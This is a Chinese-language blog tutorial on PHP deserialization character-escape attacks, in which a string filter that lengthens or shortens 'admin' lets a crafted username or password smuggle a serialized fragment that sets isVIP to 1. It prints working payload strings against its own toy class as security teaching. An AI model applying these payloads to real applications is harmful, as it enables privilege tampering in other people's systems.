本文最后更新于:2023年6月5日 下午
                  
                
              
            
            
              
                
                php反序列化字符逃逸
php反序列化字符逃逸的原理
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
php反序列化字符逃逸分类
过滤后字符变多
过滤后字符变少
过滤后字符变多
我们先定义一个类 user ,成员变量 username,password,isVIP,并且序列化
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?phpclass user{
 public $username;
 public $password;
 public $isVIP;
 
 public function __construct($u,$p){
 $this->username = $u;
 $this->password = $p;
 $this->isVIP = 0;
 }
 }
 $obj = new user('admin','123456');
 $obj = serialize($obj);
 echo $obj;
 
 | 
输出:
| 1
 | O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
 | 
我们可以看到,我们user类的对象默认 isVIP=0,并且不受传入参数的影响
这时我们增加一个过滤:
| 12
 3
 
 | function filter($obj) {return preg_replace("/admin/","hacker",$obj);
 }
 
 | 
完整代码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | <?phpclass user
 {
 public $username;
 public $password;
 public $isVIP;
 
 public function __construct($u, $p)
 {
 $this->username = $u;
 $this->password = $p;
 $this->isVIP = 0;
 }
 }
 
 function filter($obj) {
 return preg_replace("/admin/","hacker",$obj);
 }
 
 $obj = new user('admin','123456');
 $obj = filter(serialize($obj));
 echo $obj;
 
 | 
输出:
| 1
 | O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
 | 
此时,admin在序列化串中已经变成了 hacker ,并且字符串长度比5多了一个,变成了6
我们对比一下两次的输出:
| 12
 
 | O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
 
 | 
我们想要构造,将 isVIP的值变成 1,如何才能做到呢?admin位置现有字串与目标字串如下:
| 12
 
 | ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有字串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
 
 | 
我们知道,传入的admin位置是可控变量 ,所以我们需要在该位置插入目标字串,
目标字串的 "; 将admin参数位置处的双引号闭合,即可造成字符逃逸
但是我们admin参数位置处的字符串长度对应不上,由于我们需要逃逸出来的字符串为:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} 其长度为47.
这就导致我们admin传参位置的参数少了47长度,必须再添加47长度才行,但是怎么添加呢?
我们知道,每次过滤的时候,admin 会变为:hacker 长度加了1,所以我们传参时可以重复47次 admin。这样我们的参数就会增加47长度,再减去逃逸的47长度字符串,长度就合适了。
可控变量修改如下:
| 1
 | adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
 | 
完整的代码为:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | <?phpclass user
 {
 public $username;
 public $password;
 public $isVIP;
 
 public function __construct($u, $p)
 {
 $this->username = $u;
 $this->password = $p;
 $this->isVIP = 0;
 }
 }
 
 function filter($obj) {
 return preg_replace("/admin/","hacker",$obj);
 }
 $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}', "123456");
 $a = serialize($a);
 echo $a.PHP_EOL;
 $a = filter($a);
 echo $a;
 print_r(unserialize($a));
 
 | 
输出:
| 12
 3
 4
 5
 6
 7
 
 | O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}user Object
 (
 [username] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
 [password] => 123456
 [isVIP] => 1
 )
 
 | 
反序列化后,多余的子串会被抛弃, 在大括号 } 之外的原先字串就被抛弃了:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我们观察反序列化之后的输出 isVIP=1,反序列化字符串逃逸已经成功了。
过滤后字符串变少
我们将上面过滤参数中 hacker 改为 hack,其余代码不变:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | <?phpclass user
 {
 public $username;
 public $password;
 public $isVIP;
 
 public function __construct($u, $p)
 {
 $this->username = $u;
 $this->password = $p;
 $this->isVIP = 0;
 }
 }
 
 function filter($obj) {
 return preg_replace("/admin/","hack",$obj);
 }
 
 $obj = new user('admin','123456');
 $obj = filter(serialize($obj));
 echo $obj;
 
 | 
输出:
| 1
 | O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
 | 
发现如果username值存在admin,会被替换为 hack ,长度减一
此处输出的username值的长度已经不符合5了
我们也要想办法构造,使得 isVIP=1  ,我们对比一下现有子串和目标子串:(长度为47)
| 12
 
 | ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
 
 | 
php反序列化有一个特性:
当序列化字符串属性的长度不够时,会往后走,直到长度与规定的长度相等为止.
例如,此处序列化字符串属性值 hack 的长度为4,但是原本属性长度为5,所以会往后走1位,属性值为: hack"   把后面的双引号也算进去了。也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
我们计算一下本可控变量末尾到下一可控变量的长度:
因为每次过滤都会少一个字符,我们先将 admin重复22遍:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | <?phpclass user{
 public $username;
 public $password;
 public $isVIP;
 
 public function __construct($u,$p){
 $this->username = $u;
 $this->password = $p;
 $this->isVIP = 0;
 }
 }
 
 function filter($s){
 return str_replace("admin","hack",$s);
 }
 
 $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
 $a_seri = serialize($a);
 $a_seri_filter = filter($a_seri);
 
 echo $a_seri_filter;
 
 | 
输出:
| 1
 | {s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
 | 

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
| 1
 | ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串
 | 
即:
| 1
 | $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
 | 
我们构造对象,序列化后过滤,再输出:
| 1
 | O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
 | 
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。长度再减2
最终代码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | <?phpclass user{
 public $username;
 public $password;
 public $isVIP;
 
 public function __construct($u,$p){
 $this->username = $u;
 $this->password = $p;
 $this->isVIP = 0;
 }
 }
 
 function filter($s){
 return str_replace("admin","hack",$s);
 }
 
 $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
 $a_seri = serialize($a);
 $a_seri_filter = filter($a_seri);
 
 echo $a_seri_filter;
 
 | 
输出结果:
| 1
 | O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
 | 

这样长度就对上了。我们将反序列化后的对象输出:
| 12
 3
 4
 5
 6
 
 | user Object(
 [username] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
 [password] => 123456
 [isVIP] => 1
 )
 
 | 
此时 isVIP=1 ,字符逃逸成功!
参考文章:
PHP反序列化字符逃逸详解